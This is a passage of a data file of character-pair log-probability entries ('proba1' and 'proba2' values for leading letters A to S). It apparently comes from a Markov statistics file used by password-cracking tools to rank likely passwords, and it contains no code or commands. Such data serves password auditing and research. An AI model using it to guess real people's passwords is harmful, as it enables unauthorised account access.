-36=proba2[65*256+49] -39=proba2[65*256+50] -48=proba2[65*256+51] -51=proba2[65*256+52] -45=proba2[65*256+53] -47=proba2[65*256+54] -54=proba2[65*256+55] -51=proba2[65*256+56] -45=proba2[65*256+57] -72=proba2[65*256+59] -40=proba2[65*256+65] -35=proba2[65*256+66] -33=proba2[65*256+67] -35=proba2[65*256+68] -47=proba2[65*256+69] -43=proba2[65*256+70] -42=proba2[65*256+71] -49=proba2[65*256+72] -33=proba2[65*256+73] -56=proba2[65*256+74] -43=proba2[65*256+75] -25=proba2[65*256+76] -29=proba2[65*256+77] -22=proba2[65*256+78] -50=proba2[65*256+79] -40=proba2[65*256+80] -56=proba2[65*256+81] -25=proba2[65*256+82] -28=proba2[65*256+83] -30=proba2[65*256+84] -35=proba2[65*256+85] -43=proba2[65*256+86] -50=proba2[65*256+87] -49=proba2[65*256+88] -44=proba2[65*256+89] -35=proba2[65*256+90] -58=proba2[65*256+97] -49=proba2[65*256+98] -53=proba2[65*256+99] -44=proba2[65*256+100] -65=proba2[65*256+101] -72=proba2[65*256+102] -56=proba2[65*256+103] -65=proba2[65*256+104] -58=proba2[65*256+105] -58=proba2[65*256+107] -37=proba2[65*256+108] -56=proba2[65*256+109] -37=proba2[65*256+110] -54=proba2[65*256+112] -65=proba2[65*256+113] -43=proba2[65*256+114] -46=proba2[65*256+115] -51=proba2[65*256+116] -51=proba2[65*256+117] -61=proba2[65*256+118] -61=proba2[65*256+119] -65=proba2[65*256+120] -56=proba2[65*256+121] -72=proba2[65*256+122] -63=proba1[66] -63=proba2[66*256+35] -49=proba2[66*256+45] -43=proba2[66*256+48] -34=proba2[66*256+49] -40=proba2[66*256+50] -43=proba2[66*256+51] -41=proba2[66*256+52] -47=proba2[66*256+53] -39=proba2[66*256+54] -49=proba2[66*256+55] -41=proba2[66*256+56] -41=proba2[66*256+57] -63=proba2[66*256+64] -25=proba2[66*256+65] -38=proba2[66*256+66] -36=proba2[66*256+67] -33=proba2[66*256+68] -25=proba2[66*256+69] -49=proba2[66*256+70] -39=proba2[66*256+71] -63=proba2[66*256+72] -30=proba2[66*256+73] -47=proba2[66*256+74] -52=proba2[66*256+75] -35=proba2[66*256+76] -41=proba2[66*256+77] -43=proba2[66*256+78] -25=proba2[66*256+79] -63=proba2[66*256+80] -63=proba2[66*256+81] -34=proba2[66*256+82] -45=proba2[66*256+83] -52=proba2[66*256+84] -39=proba2[66*256+85] -47=proba2[66*256+86] -56=proba2[66*256+87] -56=proba2[66*256+88] -49=proba2[66*256+89] -43=proba2[66*256+90] -29=proba2[66*256+97] -63=proba2[66*256+98] -63=proba2[66*256+99] -35=proba2[66*256+101] -63=proba2[66*256+104] -35=proba2[66*256+105] -49=proba2[66*256+108] -63=proba2[66*256+110] -29=proba2[66*256+111] -52=proba2[66*256+112] -63=proba2[66*256+113] -35=proba2[66*256+114] -56=proba2[66*256+115] -56=proba2[66*256+116] -39=proba2[66*256+117] -56=proba2[66*256+118] -56=proba2[66*256+119] -56=proba2[66*256+120] -56=proba2[66*256+122] -61=proba1[67] -65=proba2[67*256+32] -65=proba2[67*256+39] -65=proba2[67*256+41] -59=proba2[67*256+46] -48=proba2[67*256+48] -37=proba2[67*256+49] -36=proba2[67*256+50] -39=proba2[67*256+51] -43=proba2[67*256+52] -42=proba2[67*256+53] -42=proba2[67*256+54] -65=proba2[67*256+55] -54=proba2[67*256+56] -48=proba2[67*256+57] -24=proba2[67*256+65] -42=proba2[67*256+66] -41=proba2[67*256+67] -43=proba2[67*256+68] -28=proba2[67*256+69] -49=proba2[67*256+70] -49=proba2[67*256+71] -23=proba2[67*256+72] -32=proba2[67*256+73] -65=proba2[67*256+74] -33=proba2[67*256+75] -38=proba2[67*256+76] -43=proba2[67*256+77] -49=proba2[67*256+78] -22=proba2[67*256+79] -42=proba2[67*256+80] -59=proba2[67*256+81] -31=proba2[67*256+82] -40=proba2[67*256+83] -41=proba2[67*256+84] -42=proba2[67*256+85] -54=proba2[67*256+86] -54=proba2[67*256+88] -54=proba2[67*256+89] -59=proba2[67*256+90] -65=proba2[67*256+94] -33=proba2[67*256+97] -65=proba2[67*256+98] -52=proba2[67*256+99] -41=proba2[67*256+101] -65=proba2[67*256+102] -54=proba2[67*256+103] -33=proba2[67*256+104] -45=proba2[67*256+105] -65=proba2[67*256+106] -65=proba2[67*256+107] -38=proba2[67*256+108] -48=proba2[67*256+109] -31=proba2[67*256+111] -65=proba2[67*256+112] -65=proba2[67*256+113] -43=proba2[67*256+114] -54=proba2[67*256+115] -65=proba2[67*256+116] -54=proba2[67*256+117] -41=proba2[67*256+121] -65=proba1[68] -56=proba2[68*256+38] -63=proba2[68*256+43] -40=proba2[68*256+48] -36=proba2[68*256+49] -41=proba2[68*256+50] -42=proba2[68*256+51] -49=proba2[68*256+52] -52=proba2[68*256+53] -49=proba2[68*256+54] -45=proba2[68*256+55] -43=proba2[68*256+56] -40=proba2[68*256+57] -63=proba2[68*256+59] -63=proba2[68*256+64] -24=proba2[68*256+65] -45=proba2[68*256+66] -45=proba2[68*256+67] -41=proba2[68*256+68] -23=proba2[68*256+69] -47=proba2[68*256+70] -52=proba2[68*256+71] -49=proba2[68*256+72] -25=proba2[68*256+73] -36=proba2[68*256+74] -47=proba2[68*256+75] -42=proba2[68*256+76] -40=proba2[68*256+77] -56=proba2[68*256+78] -27=proba2[68*256+79] -47=proba2[68*256+80] -30=proba2[68*256+82] -39=proba2[68*256+83] -47=proba2[68*256+84] -38=proba2[68*256+85] -49=proba2[68*256+86] -52=proba2[68*256+87] -49=proba2[68*256+89] -47=proba2[68*256+90] -63=proba2[68*256+95] -32=proba2[68*256+97] -49=proba2[68*256+100] -31=proba2[68*256+101] -63=proba2[68*256+102] -63=proba2[68*256+103] -63=proba2[68*256+104] -33=proba2[68*256+105] -49=proba2[68*256+106] -56=proba2[68*256+107] -63=proba2[68*256+108] -52=proba2[68*256+109] -56=proba2[68*256+110] -33=proba2[68*256+111] -49=proba2[68*256+112] -36=proba2[68*256+114] -47=proba2[68*256+115] -63=proba2[68*256+116] -38=proba2[68*256+117] -56=proba2[68*256+118] -63=proba2[68*256+119] -45=proba2[68*256+120] -56=proba2[68*256+121] -69=proba1[69] -68=proba2[69*256+42] -68=proba2[69*256+45] -68=proba2[69*256+46] -46=proba2[69*256+48] -35=proba2[69*256+49] -41=proba2[69*256+50] -52=proba2[69*256+51] -50=proba2[69*256+52] -43=proba2[69*256+53] -47=proba2[69*256+54] -57=proba2[69*256+55] -52=proba2[69*256+56] -39=proba2[69*256+57] -35=proba2[69*256+65] -39=proba2[69*256+66] -35=proba2[69*256+67] -35=proba2[69*256+68] -44=proba2[69*256+69] -49=proba2[69*256+70] -41=proba2[69*256+71] -52=proba2[69*256+72] -47=proba2[69*256+73] -52=proba2[69*256+74] -46=proba2[69*256+75] -22=proba2[69*256+76] -32=proba2[69*256+77] -26=proba2[69*256+78] -46=proba2[69*256+79] -38=proba2[69*256+80] -18=proba2[69*256+82] -27=proba2[69*256+83] -27=proba2[69*256+84] -39=proba2[69*256+85] -44=proba2[69*256+86] -50=proba2[69*256+87] -40=proba2[69*256+88] -45=proba2[69*256+89] -52=proba2[69*256+90] -54=proba2[69*256+97] -54=proba2[69*256+98] -50=proba2[69*256+99] -54=proba2[69*256+100] -57=proba2[69*256+101] -61=proba2[69*256+102] -61=proba2[69*256+103] -57=proba2[69*256+104] -57=proba2[69*256+105] -61=proba2[69*256+106] -61=proba2[69*256+107] -38=proba2[69*256+108] -49=proba2[69*256+109] -43=proba2[69*256+110] -61=proba2[69*256+111] -68=proba2[69*256+112] -57=proba2[69*256+114] -54=proba2[69*256+115] -50=proba2[69*256+116] -50=proba2[69*256+117] -57=proba2[69*256+118] -68=proba2[69*256+119] -54=proba2[69*256+120] -68=proba2[69*256+121] -68=proba2[69*256+122] -66=proba1[70] -59=proba2[70*256+35] -59=proba2[70*256+38] -59=proba2[70*256+44] -59=proba2[70*256+45] -59=proba2[70*256+46] -43=proba2[70*256+48] -35=proba2[70*256+49] -37=proba2[70*256+50] -40=proba2[70*256+51] -48=proba2[70*256+52] -45=proba2[70*256+53] -40=proba2[70*256+54] -48=proba2[70*256+55] -48=proba2[70*256+56] -40=proba2[70*256+57] -23=proba2[70*256+65] -41=proba2[70*256+66] -41=proba2[70*256+67] -37=proba2[70*256+68] -33=proba2[70*256+69] -35=proba2[70*256+70] -43=proba2[70*256+71] -59=proba2[70*256+72] -27=proba2[70*256+73] -41=proba2[70*256+74] -48=proba2[70*256+75] -32=proba2[70*256+76] -41=proba2[70*256+77] -59=proba2[70*256+78] -31=proba2[70*256+79] -48=proba2[70*256+80] -59=proba2[70*256+81] -29=proba2[70*256+82] -37=proba2[70*256+83] -41=proba2[70*256+84] -36=proba2[70*256+85] -43=proba2[70*256+86] -48=proba2[70*256+87] -48=proba2[70*256+88] -59=proba2[70*256+89] -59=proba2[70*256+90] -59=proba2[70*256+93] -59=proba2[70*256+95] -30=proba2[70*256+97] -48=proba2[70*256+99] -59=proba2[70*256+100] -36=proba2[70*256+101] -45=proba2[70*256+102] -52=proba2[70*256+103] -41=proba2[70*256+105] -59=proba2[70*256+107] -33=proba2[70*256+108] -52=proba2[70*256+109] -52=proba2[70*256+110] -38=proba2[70*256+111] -30=proba2[70*256+114] -52=proba2[70*256+116] -41=proba2[70*256+117] -59=proba2[70*256+121] -59=proba2[70*256+122] -66=proba1[71] -54=proba2[71*256+32] -54=proba2[71*256+33] -54=proba2[71*256+42] -61=proba2[71*256+45] -43=proba2[71*256+48] -37=proba2[71*256+49] -39=proba2[71*256+50] -41=proba2[71*256+51] -47=proba2[71*256+52] -47=proba2[71*256+53] -54=proba2[71*256+54] -37=proba2[71*256+55] -54=proba2[71*256+56] -37=proba2[71*256+57] -23=proba2[71*256+65] -38=proba2[71*256+66] -43=proba2[71*256+67] -45=proba2[71*256+68] -27=proba2[71*256+69] -47=proba2[71*256+70] -38=proba2[71*256+71] -39=proba2[71*256+72] -31=proba2[71*256+73] -50=proba2[71*256+74] -54=proba2[71*256+75] -41=proba2[71*256+76] -45=proba2[71*256+77] -41=proba2[71*256+78] -27=proba2[71*256+79] -40=proba2[71*256+80] -54=proba2[71*256+81] -35=proba2[71*256+82] -47=proba2[71*256+83] -43=proba2[71*256+84] -35=proba2[71*256+85] -50=proba2[71*256+86] -50=proba2[71*256+87] -45=proba2[71*256+88] -50=proba2[71*256+89] -61=proba2[71*256+90] -30=proba2[71*256+97] -54=proba2[71*256+98] -50=proba2[71*256+100] -47=proba2[71*256+101] -61=proba2[71*256+102] -47=proba2[71*256+103] -43=proba2[71*256+104] -35=proba2[71*256+105] -54=proba2[71*256+106] -50=proba2[71*256+107] -40=proba2[71*256+108] -54=proba2[71*256+109] -54=proba2[71*256+110] -30=proba2[71*256+111] -50=proba2[71*256+112] -41=proba2[71*256+114] -61=proba2[71*256+116] -31=proba2[71*256+117] -54=proba2[71*256+119] -54=proba2[71*256+120] -50=proba2[71*256+121] -72=proba1[72] -58=proba2[72*256+32] -58=proba2[72*256+33] -58=proba2[72*256+44] -58=proba2[72*256+45] -58=proba2[72*256+48] -37=proba2[72*256+49] -37=proba2[72*256+50] -40=proba2[72*256+51] -51=proba2[72*256+52] -58=proba2[72*256+53] -51=proba2[72*256+54] -44=proba2[72*256+55] -47=proba2[72*256+56] -42=proba2[72*256+57] -20=proba2[72*256+65] -42=proba2[72*256+66] -44=proba2[72*256+67] -42=proba2[72*256+68] -21=proba2[72*256+69] -42=proba2[72*256+70] -58=proba2[72*256+71] -42=proba2[72*256+72] -26=proba2[72*256+73] -51=proba2[72*256+74] -39=proba2[72*256+75] -47=proba2[72*256+76] -36=proba2[72*256+77] -47=proba2[72*256+78] -26=proba2[72*256+79] -51=proba2[72*256+80] -47=proba2[72*256+81] -35=proba2[72*256+82] -47=proba2[72*256+83] -47=proba2[72*256+84] -37=proba2[72*256+85] -58=proba2[72*256+86] -51=proba2[72*256+87] -44=proba2[72*256+88] -39=proba2[72*256+89] -42=proba2[72*256+90] -51=proba2[72*256+95] -32=proba2[72*256+97] -51=proba2[72*256+98] -58=proba2[72*256+99] -47=proba2[72*256+100] -32=proba2[72*256+101] -58=proba2[72*256+102] -37=proba2[72*256+105] -51=proba2[72*256+106] -58=proba2[72*256+107] -58=proba2[72*256+108] -58=proba2[72*256+110] -36=proba2[72*256+111] -51=proba2[72*256+114] -58=proba2[72*256+115] -58=proba2[72*256+116] -42=proba2[72*256+117] -51=proba2[72*256+121] -51=proba2[72*256+122] -58=proba2[72*256+125] -75=proba1[73] -67=proba2[73*256+36] -67=proba2[73*256+38] -67=proba2[73*256+46] -49=proba2[73*256+48] -41=proba2[73*256+49] -44=proba2[73*256+50] -51=proba2[73*256+51] -49=proba2[73*256+52] -60=proba2[73*256+53] -46=proba2[73*256+54] -46=proba2[73*256+55] -56=proba2[73*256+56] -53=proba2[73*256+57] -29=proba2[73*256+65] -45=proba2[73*256+66] -26=proba2[73*256+67] -35=proba2[73*256+68] -21=proba2[73*256+69] -44=proba2[73*256+70] -36=proba2[73*256+71] -67=proba2[73*256+72] -42=proba2[73*256+73] -60=proba2[73*256+74] -37=proba2[73*256+75] -28=proba2[73*256+76] -30=proba2[73*256+77] -21=proba2[73*256+78] -33=proba2[73*256+79] -43=proba2[73*256+80] -44=proba2[73*256+81] -31=proba2[73*256+82] -25=proba2[73*256+83] -27=proba2[73*256+84] -56=proba2[73*256+85] -39=proba2[73*256+86] -53=proba2[73*256+87] -42=proba2[73*256+88] -67=proba2[73*256+89] -45=proba2[73*256+90] -53=proba2[73*256+97] -56=proba2[73*256+99] -53=proba2[73*256+100] -60=proba2[73*256+102] -60=proba2[73*256+103] -67=proba2[73*256+104] -67=proba2[73*256+105] -67=proba2[73*256+107] -56=proba2[73*256+108] -53=proba2[73*256+109] -45=proba2[73*256+110] -60=proba2[73*256+112] -60=proba2[73*256+113] -53=proba2[73*256+114] -49=proba2[73*256+115] -67=proba2[73*256+116] -60=proba2[73*256+118] -67=proba2[73*256+119] -67=proba2[73*256+120] -60=proba2[73*256+122] -67=proba1[74] -57=proba2[74*256+42] -57=proba2[74*256+46] -37=proba2[74*256+48] -46=proba2[74*256+49] -37=proba2[74*256+50] -46=proba2[74*256+51] -57=proba2[74*256+52] -50=proba2[74*256+53] -57=proba2[74*256+54] -43=proba2[74*256+55] -57=proba2[74*256+56] -50=proba2[74*256+57] -50=proba2[74*256+64] -28=proba2[74*256+65] -39=proba2[74*256+66] -39=proba2[74*256+67] -46=proba2[74*256+68] -26=proba2[74*256+69] -36=proba2[74*256+70] -46=proba2[74*256+71] -43=proba2[74*256+72] -32=proba2[74*256+73] -36=proba2[74*256+74] -46=proba2[74*256+75] -39=proba2[74*256+76] -39=proba2[74*256+77] -57=proba2[74*256+78] -21=proba2[74*256+79] -30=proba2[74*256+80] -50=proba2[74*256+81] -39=proba2[74*256+82] -43=proba2[74*256+83] -46=proba2[74*256+84] -27=proba2[74*256+85] -57=proba2[74*256+87] -57=proba2[74*256+89] -50=proba2[74*256+90] -57=proba2[74*256+95] -31=proba2[74*256+97] -50=proba2[74*256+98] -43=proba2[74*256+99] -57=proba2[74*256+100] -34=proba2[74*256+101] -50=proba2[74*256+102] -46=proba2[74*256+104] -50=proba2[74*256+105] -50=proba2[74*256+106] -57=proba2[74*256+107] -50=proba2[74*256+109] -57=proba2[74*256+110] -32=proba2[74*256+111] -57=proba2[74*256+112] -57=proba2[74*256+114] -57=proba2[74*256+116] -30=proba2[74*256+117] -50=proba2[74*256+118] -50=proba2[74*256+119] -57=proba2[74*256+121] -70=proba1[75] -56=proba2[75*256+39] -56=proba2[75*256+46] -56=proba2[75*256+48] -35=proba2[75*256+49] -34=proba2[75*256+50] -49=proba2[75*256+51] -40=proba2[75*256+52] -45=proba2[75*256+53] -38=proba2[75*256+54] -49=proba2[75*256+55] -40=proba2[75*256+56] -45=proba2[75*256+57] -56=proba2[75*256+63] -56=proba2[75*256+64] -22=proba2[75*256+65] -42=proba2[75*256+66] -56=proba2[75*256+67] -49=proba2[75*256+68] -30=proba2[75*256+69] -45=proba2[75*256+70] -56=proba2[75*256+71] -45=proba2[75*256+72] -23=proba2[75*256+73] -45=proba2[75*256+74] -45=proba2[75*256+75] -35=proba2[75*256+76] -40=proba2[75*256+77] -49=proba2[75*256+78] -30=proba2[75*256+79] -56=proba2[75*256+80] -56=proba2[75*256+81] -37=proba2[75*256+82] -45=proba2[75*256+83] -45=proba2[75*256+84] -49=proba2[75*256+85] -56=proba2[75*256+86] -49=proba2[75*256+87] -56=proba2[75*256+88] -42=proba2[75*256+89] -56=proba2[75*256+90] -56=proba2[75*256+95] -26=proba2[75*256+97] -49=proba2[75*256+98] -45=proba2[75*256+100] -31=proba2[75*256+101] -49=proba2[75*256+102] -49=proba2[75*256+103] -40=proba2[75*256+104] -34=proba2[75*256+105] -49=proba2[75*256+107] -56=proba2[75*256+108] -56=proba2[75*256+110] -33=proba2[75*256+111] -49=proba2[75*256+112] -49=proba2[75*256+113] -42=proba2[75*256+114] -56=proba2[75*256+115] -56=proba2[75*256+116] -45=proba2[75*256+117] -56=proba2[75*256+118] -56=proba2[75*256+119] -49=proba2[75*256+120] -56=proba2[75*256+121] -49=proba2[75*256+122] -56=proba2[75*256+124] -65=proba1[76] -66=proba2[76*256+32] -66=proba2[76*256+41] -66=proba2[76*256+45] -55=proba2[76*256+46] -44=proba2[76*256+48] -41=proba2[76*256+49] -45=proba2[76*256+50] -52=proba2[76*256+51] -46=proba2[76*256+52] -46=proba2[76*256+53] -50=proba2[76*256+54] -55=proba2[76*256+55] -59=proba2[76*256+56] -48=proba2[76*256+57] -66=proba2[76*256+64] -21=proba2[76*256+65] -45=proba2[76*256+66] -44=proba2[76*256+67] -36=proba2[76*256+68] -21=proba2[76*256+69] -44=proba2[76*256+70] -45=proba2[76*256+71] -46=proba2[76*256+72] -20=proba2[76*256+73] -66=proba2[76*256+74] -52=proba2[76*256+75] -28=proba2[76*256+76] -36=proba2[76*256+77] -24=proba2[76*256+79] -39=proba2[76*256+80] -52=proba2[76*256+82] -43=proba2[76*256+83] -40=proba2[76*256+84] -36=proba2[76*256+85] -44=proba2[76*256+86] -59=proba2[76*256+87] -41=proba2[76*256+89] -66=proba2[76*256+90] -66=proba2[76*256+93] -32=proba2[76*256+97] -66=proba2[76*256+98] -55=proba2[76*256+99] -55=proba2[76*256+100] -36=proba2[76*256+101] -50=proba2[76*256+102] -66=proba2[76*256+103] -59=proba2[76*256+104] -38=proba2[76*256+105] -59=proba2[76*256+106] -55=proba2[76*256+109] -66=proba2[76*256+110] -35=proba2[76*256+111] -66=proba2[76*256+112] -66=proba2[76*256+113] -66=proba2[76*256+114] -66=proba2[76*256+115] -55=proba2[76*256+116] -41=proba2[76*256+117] -66=proba2[76*256+118] -66=proba2[76*256+119] -55=proba2[76*256+121] -50=proba2[76*256+122] -58=proba1[77] -60=proba2[77*256+32] -67=proba2[77*256+33] -60=proba2[77*256+42] -60=proba2[77*256+43] -60=proba2[77*256+44] -51=proba2[77*256+45] -46=proba2[77*256+48] -39=proba2[77*256+49] -44=proba2[77*256+50] -46=proba2[77*256+51] -60=proba2[77*256+52] -51=proba2[77*256+53] -49=proba2[77*256+54] -46=proba2[77*256+55] -47=proba2[77*256+56] -46=proba2[77*256+57] -60=proba2[77*256+63] -18=proba2[77*256+65] -39=proba2[77*256+66] -42=proba2[77*256+67] -45=proba2[77*256+68] -25=proba2[77*256+69] -49=proba2[77*256+70] -44=proba2[77*256+71] -60=proba2[77*256+72] -26=proba2[77*256+73] -53=proba2[77*256+74] -51=proba2[77*256+75] -46=proba2[77*256+76] -34=proba2[77*256+77] -45=proba2[77*256+78] -27=proba2[77*256+79] -38=proba2[77*256+80] -56=proba2[77*256+81] -46=proba2[77*256+82] -51=proba2[77*256+83] -47=proba2[77*256+84] -44=proba2[77*256+85] -51=proba2[77*256+86] -49=proba2[77*256+87] -67=proba2[77*256+88] -36=proba2[77*256+89] -53=proba2[77*256+90] -67=proba2[77*256+95] -22=proba2[77*256+97] -51=proba2[77*256+98] -51=proba2[77*256+99] -32=proba2[77*256+101] -60=proba2[77*256+102] -56=proba2[77*256+103] -67=proba2[77*256+104] -32=proba2[77*256+105] -56=proba2[77*256+106] -56=proba2[77*256+107] -60=proba2[77*256+108] -60=proba2[77*256+109] -56=proba2[77*256+110] -35=proba2[77*256+111] -67=proba2[77*256+112] -56=proba2[77*256+114] -67=proba2[77*256+115] -56=proba2[77*256+116] -46=proba2[77*256+117] -67=proba2[77*256+119] -67=proba2[77*256+120] -39=proba2[77*256+121] -67=proba2[77*256+122] -69=proba1[78] -64=proba2[78*256+33] -64=proba2[78*256+43] -53=proba2[78*256+45] -57=proba2[78*256+46] -57=proba2[78*256+48] -39=proba2[78*256+49] -40=proba2[78*256+50] -46=proba2[78*256+51] -45=proba2[78*256+52] -45=proba2[78*256+53] -48=proba2[78*256+54] -46=proba2[78*256+55] -50=proba2[78*256+56] -50=proba2[78*256+57] -64=proba2[78*256+61] -64=proba2[78*256+64] -26=proba2[78*256+65] -50=proba2[78*256+66] -33=proba2[78*256+67] -26=proba2[78*256+68] -19=proba2[78*256+69] -39=proba2[78*256+70] -34=proba2[78*256+71] -50=proba2[78*256+72] -25=proba2[78*256+73] -48=proba2[78*256+74] -57=proba2[78*256+75] -48=proba2[78*256+76] -50=proba2[78*256+77] -30=proba2[78*256+78] -28=proba2[78*256+79] -53=proba2[78*256+80] -64=proba2[78*256+81] -44=proba2[78*256+83] -26=proba2[78*256+84] -40=proba2[78*256+85] -64=proba2[78*256+87] -46=proba2[78*256+88] -41=proba2[78*256+89] -48=proba2[78*256+90] -33=proba2[78*256+97] -53=proba2[78*256+98] -57=proba2[78*256+99] -64=proba2[78*256+100] -39=proba2[78*256+101] -64=proba2[78*256+102] -48=proba2[78*256+103] -64=proba2[78*256+104] -34=proba2[78*256+105] -64=proba2[78*256+107] -64=proba2[78*256+109] -64=proba2[78*256+110] -37=proba2[78*256+111] -46=proba2[78*256+112] -57=proba2[78*256+115] -53=proba2[78*256+116] -48=proba2[78*256+117] -64=proba2[78*256+119] -64=proba2[78*256+121] -57=proba2[78*256+122] -64=proba2[78*256+125] -77=proba1[79] -66=proba2[79*256+32] -66=proba2[79*256+46] -45=proba2[79*256+48] -43=proba2[79*256+49] -44=proba2[79*256+50] -48=proba2[79*256+51] -66=proba2[79*256+52] -50=proba2[79*256+53] -50=proba2[79*256+54] -59=proba2[79*256+55] -55=proba2[79*256+56] -44=proba2[79*256+57] -55=proba2[79*256+61] -48=proba2[79*256+65] -38=proba2[79*256+66] -31=proba2[79*256+67] -44=proba2[79*256+68] -50=proba2[79*256+69] -50=proba2[79*256+70] -40=proba2[79*256+71] -50=proba2[79*256+72] -36=proba2[79*256+73] -44=proba2[79*256+74] -52=proba2[79*256+75] -26=proba2[79*256+76] -27=proba2[79*256+77] -20=proba2[79*256+78] -34=proba2[79*256+79] -35=proba2[79*256+80] -24=proba2[79*256+82] -30=proba2[79*256+83] -30=proba2[79*256+84] -18=proba2[79*256+85] -47=proba2[79*256+86] -55=proba2[79*256+87] -50=proba2[79*256+88] -42=proba2[79*256+89] -52=proba2[79*256+90] -66=proba2[79*256+93] -59=proba2[79*256+98] -59=proba2[79*256+99] -66=proba2[79*256+103] -66=proba2[79*256+104] -59=proba2[79*256+105] -66=proba2[79*256+106] -66=proba2[79*256+107] -52=proba2[79*256+108] -59=proba2[79*256+109] -50=proba2[79*256+110] -66=proba2[79*256+112] -59=proba2[79*256+114] -66=proba2[79*256+115] -55=proba2[79*256+116] -66=proba2[79*256+117] -66=proba2[79*256+120] -66=proba2[79*256+121] -55=proba2[79*256+122] -63=proba1[80] -56=proba2[80*256+45] -41=proba2[80*256+48] -36=proba2[80*256+49] -36=proba2[80*256+50] -43=proba2[80*256+51] -41=proba2[80*256+52] -52=proba2[80*256+53] -46=proba2[80*256+54] -52=proba2[80*256+55] -63=proba2[80*256+56] -46=proba2[80*256+57] -63=proba2[80*256+61] -63=proba2[80*256+63] -23=proba2[80*256+65] -49=proba2[80*256+66] -45=proba2[80*256+67] -42=proba2[80*256+68] -27=proba2[80*256+69] -49=proba2[80*256+70] -39=proba2[80*256+71] -29=proba2[80*256+72] -30=proba2[80*256+73] -45=proba2[80*256+74] -49=proba2[80*256+75] -36=proba2[80*256+76] -42=proba2[80*256+77] -46=proba2[80*256+78] -27=proba2[80*256+79] -38=proba2[80*256+80] -56=proba2[80*256+81] -32=proba2[80*256+82] -39=proba2[80*256+83] -39=proba2[80*256+84] -37=proba2[80*256+85] -42=proba2[80*256+86] -56=proba2[80*256+87] -63=proba2[80*256+88] -41=proba2[80*256+89] -63=proba2[80*256+90] -28=proba2[80*256+97] -63=proba2[80*256+98] -34=proba2[80*256+101] -63=proba2[80*256+103] -36=proba2[80*256+104] -36=proba2[80*256+105] -56=proba2[80*256+108] -56=proba2[80*256+109] -52=proba2[80*256+110] -29=proba2[80*256+111] -63=proba2[80*256+113] -42=proba2[80*256+114] -63=proba2[80*256+115] -63=proba2[80*256+116] -46=proba2[80*256+117] -63=proba2[80*256+118] -63=proba2[80*256+119] -56=proba2[80*256+120] -63=proba2[80*256+121] -84=proba1[81] -47=proba2[81*256+48] -47=proba2[81*256+49] -40=proba2[81*256+50] -47=proba2[81*256+51] -36=proba2[81*256+52] -33=proba2[81*256+53] -47=proba2[81*256+54] -33=proba2[81*256+55] -47=proba2[81*256+56] -33=proba2[81*256+57] -33=proba2[81*256+65] -47=proba2[81*256+67] -40=proba2[81*256+68] -40=proba2[81*256+69] -40=proba2[81*256+70] -33=proba2[81*256+71] -40=proba2[81*256+73] -40=proba2[81*256+74] -40=proba2[81*256+76] -40=proba2[81*256+77] -47=proba2[81*256+79] -40=proba2[81*256+80] -47=proba2[81*256+81] -40=proba2[81*256+82] -40=proba2[81*256+83] -40=proba2[81*256+84] -20=proba2[81*256+85] -33=proba2[81*256+87] -33=proba2[81*256+89] -47=proba2[81*256+90] -47=proba2[81*256+97] -40=proba2[81*256+98] -47=proba2[81*256+99] -40=proba2[81*256+102] -47=proba2[81*256+103] -40=proba2[81*256+104] -47=proba2[81*256+107] -47=proba2[81*256+109] -47=proba2[81*256+110] -47=proba2[81*256+112] -40=proba2[81*256+113] -47=proba2[81*256+114] -40=proba2[81*256+116] -26=proba2[81*256+117] -29=proba2[81*256+119] -47=proba2[81*256+122] -69=proba1[82] -55=proba2[82*256+32] -66=proba2[82*256+35] -66=proba2[82*256+42] -66=proba2[82*256+43] -55=proba2[82*256+48] -36=proba2[82*256+49] -38=proba2[82*256+50] -48=proba2[82*256+51] -45=proba2[82*256+52] -48=proba2[82*256+53] -59=proba2[82*256+54] -45=proba2[82*256+55] -52=proba2[82*256+56] -48=proba2[82*256+57] -21=proba2[82*256+65] -44=proba2[82*256+66] -38=proba2[82*256+67] -34=proba2[82*256+68] -22=proba2[82*256+69] -47=proba2[82*256+70] -38=proba2[82*256+71] -66=proba2[82*256+72] -20=proba2[82*256+73] -52=proba2[82*256+74] -52=proba2[82*256+75] -39=proba2[82*256+76] -39=proba2[82*256+77] -44=proba2[82*256+78] -24=proba2[82*256+79] -45=proba2[82*256+80] -52=proba2[82*256+81] -36=proba2[82*256+82] -33=proba2[82*256+83] -32=proba2[82*256+84] -36=proba2[82*256+85] -47=proba2[82*256+86] -59=proba2[82*256+87] -59=proba2[82*256+88] -41=proba2[82*256+89] -66=proba2[82*256+90] -66=proba2[82*256+93] -66=proba2[82*256+96] -40=proba2[82*256+97] -55=proba2[82*256+100] -37=proba2[82*256+101] -59=proba2[82*256+102] -66=proba2[82*256+103] -66=proba2[82*256+104] -41=proba2[82*256+105] -66=proba2[82*256+106] -66=proba2[82*256+107] -66=proba2[82*256+108] -36=proba2[82*256+111] -55=proba2[82*256+113] -55=proba2[82*256+114] -59=proba2[82*256+115] -59=proba2[82*256+116] -43=proba2[82*256+117] -66=proba2[82*256+118] -59=proba2[82*256+119] -66=proba2[82*256+121] -66=proba2[82*256+122] -61=proba1[83] -59=proba2[83*256+32] -66=proba2[83*256+35] -66=proba2[83*256+38] -66=proba2[83*256+41] -66=proba2[83*256+42] -66=proba2[83*256+45] -44=proba2[83*256+48] -33=proba2[83*256+49] -43=proba2[83*256+50] -48=proba2[83*256+51] -48=proba2[83*256+52] -50=proba2[83*256+53] -50=proba2[83*256+54] -46=proba2[83*256+55] -50=proba2[83*256+56] -42=proba2[83*256+57] -66=proba2[83*256+64] -25=proba2[83*256+65] -46=proba2[83*256+66] -33=proba2[83*256+67] -50=proba2[83*256+68] -25=proba2[83*256+69] -55=proba2[83*256+70] -66=proba2[83*256+71] -40=proba2[83*256+72] -32=proba2[83*256+73] -55=proba2[83*256+74] -50=proba2[83*256+75] -40=proba2[83*256+76] -45=proba2[83*256+77] -42=proba2[83*256+78] -35=proba2[83*256+79] -35=proba2[83*256+80] -46=proba2[83*256+81] -43=proba2[83*256+82] -27=proba2[83*256+83] -25=proba2[83*256+84] -38=proba2[83*256+85] -50=proba2[83*256+86] -42=proba2[83*256+87] -50=proba2[83*256+88] -39=proba2[83*256+89] -55=proba2[83*256+90] -31=proba2[83*256+97] -66=proba2[83*256+98] -44=proba2[83*256+99] -59=proba2[83*256+100] -36=proba2[83*256+101] -59=proba2[83*256+102] -66=proba2[83*256+103] -42=proba2[83*256+104] -40=proba2[83*256+105] -66=proba2[83*256+106] -50=proba2[83*256+107] -59=proba2[83*256+108] -48=proba2[83*256+109] -52=proba2[83*256+110] -33=proba2[83*256+111] -48=proba2[83*256+112] -55=proba2[83*256+113] -66=proba2[83*256+114] -66=proba2[83*256+115] -38=proba2[83*256+116] 